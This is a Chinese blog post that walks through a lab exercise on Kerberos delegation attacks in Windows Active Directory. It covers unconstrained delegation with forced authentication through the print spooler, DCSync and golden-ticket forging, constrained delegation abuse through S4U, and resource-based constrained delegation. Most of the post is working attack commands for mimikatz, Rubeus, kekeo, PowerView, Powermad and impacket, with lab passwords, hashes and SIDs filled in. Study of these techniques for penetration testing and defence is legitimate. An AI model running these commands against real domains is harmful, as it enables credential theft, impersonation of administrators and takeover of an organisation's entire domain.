内网域渗透之委派攻击

委派攻击

​ 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。

简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

域委派主要分为三种:

  • 非约束性委派

  • 约束性委派

  • 基于资源的约束性委派

在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

主机账号:活动目录中的computers组内的计算机,也被称为机器账号。

服务账号(Service Account):域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。

非约束委派攻击

非约束委派的属性配置

实验环境:

主机名 IP地址 权限
dc(server 2008 r2) 192.168.10.100 域控
client(server 2012 r2) 192.168.10.101 普通域内主机(配置了非约束性委派)
  • 主机账号设置非约束委派

  • 服务账号设置非约束委派

创建一个非约束委派服务账户,注册 SPN

 setspn -U -A https/web web

服务账号或主机账号在被设置为上图 非约束性委派时,该账户的 userAccountControl属性会包含

TRUSTED_FOR_DELEGATION

非约束委派流程

​ serverA配置了非约束性委派,用户 user 访问服务 serverA,过程中 serverA 需要以用户 user 的权限使用 serverB 中的功能,于是用户 user 向KDC发起认证:

  1. 用户 user 向 KDC 申请一张可转发的用户 user 自己的TGT和访问 serverA 所需要的ST
  2. 用户 user 会把可转发的 TGT 和其中的 sessions key 与 ST 一起发送给serverA
  3. serverA 在验证 ST 票据的同时也获取到了用户 user 的TGT 和 sessions key,并把TGT存储在自己的lsass进程中。
  4. 从而 serverA 就可能以用户 user 的身份访问 serverB 上用户 user 能访问的所有服务。

从攻击者的角度来看:如果攻击者拿到了一台配置了非约束性委派的机器权限,可以诱导管理员来访问该机器,由于所有委派这个主机的用户都会将自己的TGT传送给此主机,因此可以获取管理员的TGT,从而使用管理员的 TGT来访问任意服务,相当于控制了整个域控。

非约束委派的查找

PowerView查询

PowerViews是PowerSploit中Recon模块的脚本

  • 导入模块
import-module .\PowerView.ps1
  • 查询非约束委派的主机账户
Get-NetComputer -Unconstrained -Domain only.com | select name

  • 查询非约束委派的服务账户
Get-NetUser -Unconstrained -Domain only.com | select name

Adfind查询非约束委派

下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

参数说明:

-b  指定要查询的根节点  -f  LDAP过滤条件  [需要显示的属性]
  • 查询非约束委派的主机账户
AdFind.exe -b "DC=only,DC=com" -f "(&(samAccountType=805306369)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

  • 查询非约束委派的服务账户
AdFind.exe -b "DC=only,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派攻击利用

  • 用域管理员访问 client主机

远程连接或访问共享,使用的是kerberos的cifs协议

  • 管理员权限运行mimikatz

域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT 已经缓存在 client 主机上了

使用域内机器登录本地管理员

清除一下当前票据缓存

klist purge

导出相关凭证

privilege::debug
sekurlsa::tickets /export

  • 检测权限,均无法连接:

  • 导入缓存于 client主机的域管凭证
kerberos::ptt 凭证名称
kerberos::list

kerberos::ptt  [0;f649a]-2-0-60a00000-Administrator@krbtgt-ONLY.COM.kirbi
  • 导入票据访问域控成功

非约束委派&Spooler打印机

​ 非约束委派常规利用还是比较鸡肋的,想得到域内权限必须要管理员与配置了委派的机器建立连接

​ 所以有国外的大佬研究出了非约束委派+spooler打印机来强制与指定的主机进行连接

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_enigma0x3harmj0yDerbyCon 2018提出的

演讲PPT:地址

利用原理

​ 利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过KerberosNTLM对攻击者选择的目标进行身份验证。

利用过程

域控为 windows server 2008R2时,利用没有成功,所以这里将域控换为了 windows server 2012R2

  • 操作环境

域:only.com

域控:系统:windows server 20012 R2,主机名:dc,IP:192.168.10.101

域内主机:系统:windows7,主机名:win7,IP:192.168.10.4

注:主机账户 client 需要开启非约束委派

  • 默认情况下Spooler服务为自动启动

获取票据

  • 使用 POC 向 dcspooler服务发送请求,强制其访问 client进行身份验证

POC开源地址:https://github.com/leechristensen/SpoolSample

SpoolSample貌似只能用.net4.0以上的版本编译运行,这里在win7中安装了.net4.0

在任意普通域用户下执行

SpoolSample.exe dc win10
  • 利用Rubeus来对域控 dc 进行监听

下载地址:https://github.com/GhostPack/Rubeus

​ 当我们使用 poc 强制让域控向 client 访问验证,Rubeus就可以监听来自域控 dc 的TGT

运行Rubeus需要管理员权限,使用 runas 打开一个本地管理员CMD(需要密码)

runas /profile /users:win10\administrator cmd

每隔一秒监听一次来自 dc的登录

Rubeus.exe monitor /interval:1 /filteruser:dc$

也可以直接使用mimikatz导出TGT

privilege::debug
sekurlsa::tickets /export

可以看到是来自 dc域控的TGT

注入票据

  • 使用Rubeus将监听到的base64票据注入到内存

Rubeus 捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中。

Rubeus.exe ptt /ticket:base64

或使用 powershell转为正常的 TGT使用

[IO.File]::WriteAllBytes("绝对路径\ticket.kirbi",[Convert]::FromBase64String("得到的base64"))

  • 使用mimikatz导入TGT
kerberos::ptt  票据

这里获取的TGT票据,并不能直接访问 dc 域控,因为我们获取的的只是 域控的主机账户的权限,并不是域管理员的权限,但是我们可以利用主机账户的TGT使用dcsync向 dc 发起同步一个对象(获取帐户的密码数据)的质询,获取 krbtgt的NTLM Hash 制作黄金票据

制作黄金票据

​ 使用上面任意方法将票据注入到当前会话后,拥有使用 dcsync 向域控同步数据的权限。使用 dcsync导出域控中所有用户的 NTLM Hash,然后用 krbtgt 用户的hash生成黄金票据

lsadump::dcsync /domain:only.com /all /csv

  • 获取域 SID
whoami /user

  • 制作票据
kerberos::golden /domain:only.com /sid:S-1-5-21-503949002-3110811107-1931127814 /krbtgt:d805fe58ce63353e807902eedbf21532 /user:administrator /ticket:admin.kirbi

  • 注入票据并访问域控

S4U协议

​ 非约束性委派被委派的机器会直接得到发布委派的用户的TGT,是十分不安全的,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了 拓展。

​ 引入了S4U,其中S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy )这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

  • S4I2self的作用

一段委派请求中,域用户向 service1 发送请求。用户已通过身份验证,但是service1 没有域用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的(如NTLM认证、基于表单的认证方式等),以其他方式与 server1认证后域用户没法提供 用户自身的TGS,server1也就无法获取到被委派去访问server2的ST,那么service1就需要先使用S4U2self从Kerberos请求到用户对server1也就是自身的ST(其中包含域用户的TGS和sessions Key),service1从ST中获取到域用户的TGS后就可以从 Kerberos请求模拟域用户身份的访问server2的ST

  • S4U2self请求过程
1. 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。

2. KDC 返回给 service1一个用于用户验证 service1 的 ST1,该 ST1 包含用户的授权数据(TGS和sessons key)
   
3. service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。
   

尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。

  • S4U2proxy请求过程
1. 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。
   
2. service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。
   
3. 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。
   
4. service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。
   
5. service2 响应步骤 4 的请求。
   
6. service1 响应用户对步骤 1 中的请求。

约束委派攻击

​ 约束委派就是限制了当前服务器可以被委派去访问哪些服务,非约束性委派是不会限制当前服务器被委派时可访问的服务的。
​ 换句话说,约束性委派被配置后,被委派的主机只能访问限制的服务。

约束委派的属性配置

如下图所示:

​ 当 client主机被配置了约束性委派,那么这个时候主机 client就可以被任意用户委派去访问 dc域控主机上的cifs服务,先经过S4U2SELF阶段拿到一个可转发的TICKET,然后再经过S4U2PROXY阶段,这时候就能代表用户访问特定服务了,与非约束性委派的区别是,限制了访问的服务类型与主机,但不限制谁能对 client进行委派

攻击面是如果控制了client 那么就可以伪造域内任意用户访问 DC 的 cifs服务

服务账号或主机账号的userAccountControl属性包含 TRUSTED_TO_AUTH_FOR_DELEGATION,则其可以代表任何其他用户获取自身服务的 TGS/ST。

设置了约束性委派,服务账号或主机账号可以获取 msDS-AllowedToDelegateTo属性中设置的服务的 TGS/ST

约束委派攻击利用

操作环境

域控:only.com,windows server 2012R2,主机名:dc

域内被控主机1: windows server 2012R2 ,主机名:client-2012

域内受委派主机2: windows 7,主机名:client

服务账户:only

有明文和 NTLM Hash

  • 设置服务账户 only 的约束委派属性,委派去访问 client的 cifs服务

如果没有服务账户,需要在域控上新建用户,加上spn标识为服务账户

setspn -A cifs/only only

创建后给服务账号配置约束性委派:

  • 清空 client-2012的票据

  • 使用Adfind查询约束委派的用户:
AdFind.exe -h dc.only.com  -b "DC=only,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

  • 利用kekeo请求该用户的 TGT:

下载地址:gentilkiwi/kekeo:在C语言中与Microsoft Kerberos一起玩的小工具箱 (github.com)

当知道 only 这个服务账户的明文密码或者Hash时,可以是用 kekeo请求它的TGT

明文密码

tgt::ask /user:only /domain:only.com /password:Qwer1234 /ticket:ticket.kirbi

/ticket:指定导出票据名称

Hash

tgt::ask /user:only /domain:only.com /NTLM:Hash

  • 使用 only 的TGT 伪造 s4u 请求以 administrator的权限委派only去访问 client主机
tgs::s4u /tgt:TGT_only@ONLY.COM_krbtgt~only.com@ONLY.COM.kirbi /user:Administrator@only.com /service:cifs/client.only.com

s4u2self获取到ST1以及s4u2proxy获取到的访问 client的cifs服务的ST2会保存在当前目录下

  • 导入票据前访问 client

  • 使用mimikatz将ST2导入当前会话
kerberos::ptt TGS_Administrator@only.com@ONLY.COM_cifs~client@ONLY.COM.kirbi

成功访问到 client的cifs服务

无密码和NTLM Hash

如果我们不知道服务账号的明文和NTLM Hash,但是我们有了服务用户登陆的过主机权限(本地管理员权限),我们可以使用 mimikatz直接从内存中把服务用户的 TGT dump出来。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

mimikatz.exe "privilege::debug" "seckurlsa::tickets /export" exit

  • 导出票据后直接跳过 tgt::ask请求 only用户TGT这步
tgs::s4u /tgt:票据	/user:administrator@only.com /service:cifs/client.only.com

image-20220308201110999

  • 导入票据并访问
kerberos::ptt 票据

约束委派一般用在用户权限维持较多

基于资源的约束委派

原理

​ 为了配置约束委派,必须具有SeEnableDelegationPrivilege 权限,该特权很敏感,通常仅授予域管理员。为了使用户/资源具有更大的独立性,Windows Server 2012 中引入了基于资源的约束委派。相对于传统的委派,基于资源的约束委派它不需要域管理员设置,而是机器本身。

​ 这种约束委派风格与经典的受约束委派非常相似,但工作方向相反。从账户 A 到账户 B 的经典约束委派是在账户 A 的 msDS-AllowedToDelegateTo 属性中配置的,并定义了从 A 到 B 的"传出"信任,而基于资源的约束委派是在账户 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中配置的,并定义了从 A 到 B 的"传入"信任。

​ 当利用到基于资源的约束委派的时候,服务账户A的两个属性字段是没有赋值的,但是无论服务账号的UserAccountControl属性是否被设为TrustedToAuthForDelegation, 服务自身都可以调用S4U2Self为任意用户请求访问自己的服务票据。但是当没有设置时, 通过S4U2Self请求到的TGS将是不可转发的,而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的。

但是:在基于资源的约束委派过程中,不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证。

​ 由于基于资源的委派是在服务账户B中配置 传入信任,因此,如果能够在服务B上配置允许服务A的基于资源的委派,那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据,那么我们就可以模拟任意用户访问服务B了。

利用条件

​ 当我们知道资源的约束委派攻击的简要后就可以知道,资源的约束委派不再需要域管理员权限设置委派,所以我们需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是,计算机加入域时,加入域的域用户和被加入域的域机器自身是拥有编辑权限的。

在大型内网环境在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户去操作。那么当我们拿下该域用户的账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下。

所以如何利用基于资源的约束委派进行攻击需要:

  • 机器账户

​ 域内用户都有一个属性叫做 ms-ds-MachineAccountQuota,它代表的是使用该域用户能将多少台计算机加入到域的个数,默认是10,这代表着我们如果拥有一个普通域用户,我们就可以利用这个用户创建新的10个机器账户

为什么是机器账户?,因为攻击的时候会利用到 S4u2self协议,而它只适用于具有 spn的账户,普通账户没有 spn,而机器账户默认是注册RestrictedKrbHost/domainHOST/domain这两个SPN的,这个host类型的服务里面包含了很多小的服务例如cifs。它是一些服务的集合体。

  • 一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的账户

​ 可以查询域内计算机的 mS-DS-CreatorSID这个值代表的是将计算机加入到域内的用户,它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity的权限的,如果我们可以拿到这个用户的凭据,就可以控制使用这个用户添加到域内的所有的电脑。

攻击利用

攻击原理

​ 首先添加主机账户,修改 msDS-AllowedToActOnBehalfOfOtherIdentity 值为主机账户的 sid,然后以机器账户的身份伪造成 administrator 申请一张访问此机器账户机器的 ticket(类似于白银票据),因为机器账户没有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对之后对 s4u2proxy 不影响,最后利用这张 ticket 去申请访问修改了 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的机器。

环境配置

操作环境

用户账户 主机名 系统版本 类型
only\administrator DC windows server 2012 R2 域控
only\only client-2012 windows server 2012 R2 被控跳板机,攻击操作在此完成
only\admin client windows 7 受委派主机

admin 域用户就是将 client 加入域的域用户

​ 当我们在做横向并拿下一台普通主机权限,发现是域环境,然后在主机中发现 admin域用户的密码,因为需要 使用 admin将其他主机加入到域环境中,所以我们才有机会能获得 admin的账号密码。

​ 在 only.com域中,admin域用户 负责将 client-2012和client主机加入到only.com中,那么我们拿下admin域用户的权限后,就可以拿下域内 client-2012和client主机。

查询域用户

  • 通过ADfind查询每个域机器是由哪个域用户添加进域的,通过 ms-DS-CreatorSID查询域用户的 sid
AdFind.exe  -b "DC=only,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

可以查看到 client-2012和win7 都是由sid为:1110 的用户加入到域的。

知道sid后正常情况下我们是不知道该 sid是哪个域用户的

  • 查看SID属于哪个用户
AdFind.exe -b "DC=only,DC=com" -f "(&(objectsid=S-1-5-21-503949002-3110811107-1931127814-1110))" objectclass cn dn

另一种方式,假设现在已经拿到了把 client-2012这台机器加入域的用户 admin的权限

  • 使用 whoami /user 查询当前用户的sid

同样可以通过该用户的sid查看有哪些域主机是通过自己加入到域内的:

AdFind.exe -b "DC=only,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-503949002-3110811107-1931127814-1110))" cn sAMAccountType objectCategory

如果查询没有mS-DS-CreatorSID,那么它是被域管理员加入到域内的

添加主机账户

powermad添加主机账户

下载地址:https://github.com/Kevin-Robertson/Powermad

以 admin 用户创建一个主机名为 CLIENTSYSTEM,密码 Qwer1234

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount CLIENTSYSTEM -Password $(ConvertTo-SecureString "Qwer1234" -AsPlainText -Force)

  • 验证是否创建成功
net group "domain computers" /do

impacket创建主机账号

使用impacket工具包的 addcomputer.py脚本创建

python3 addcomputer.py -method SAMR -dc-ip 192.168.10.4 -computer-name CLIENTSYSTEM -computer-pass pass@123 "only.com/admin:Qwer1234"

查询主机账号SID

域控查询添加机器的SID

dsquery computer | dsget computer -dn -sid

get-adcomputer clientsystem

在普通域主机上查询

使用empire下的powerview

Import-Module .\powerview.ps1

Get-DomainComputer -identity clientsystem

设置委派

  • 设置 clientsystemclient 的基于资源的约束委派

在被委派的 client 上设置

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-503949002-3110811107-1931127814-1110)"
$SDBytes=New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes,0)

使用empire下的powerview脚本执行

Get-DomainComputer client | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

  • 检查是否配置是否成功
Get-DomainComputer client -Properties msds-allowedtoactonbehalfofotheridentity

  • 攻击完成后可以清除基于资源的约束委派配置
Set-DomainObject client$ -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

域控上通过命令行打开adsiedit.msc查看CN=client机器属性,可以看到:

当被设置为基于资源的约束委派的时候,它的msds-allowedtoactonbehalfofotheridentity会包含有效字段。

现在已经配置好了所有利用条件,就可以通过基于资源的约束委派进行攻击了

获取票据

Rubues获取票据

Rubeus.exe hash /user:CLIENTSYSTEM /password:Qwer1234 /domain:only.com

使用impacket套件获取

python3 getST.py -spn cifs/client.only.com -impersonate administrator only.com/CLIENTSYSTEM$:pass@123

普通域账号伪造票据到本地管理员

使用Rubeus伪造 administrator请求TGT

Rubeus.exe s4u /user:clientsystem$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/client.only.com /ptt

访问目标

使用impacket套件提权

  • 获取服务票据
python3 getST.py -spn cifs/client.only.com -impersonate administrator only.com/CLIENTSYSTEM$:pass@123
  • 指定获取到的票据
export KRB5CCNAME=administrator.ccache

posted @ 2022-05-01 14:45  空于野  阅读(1204)  评论(1编辑  收藏  举报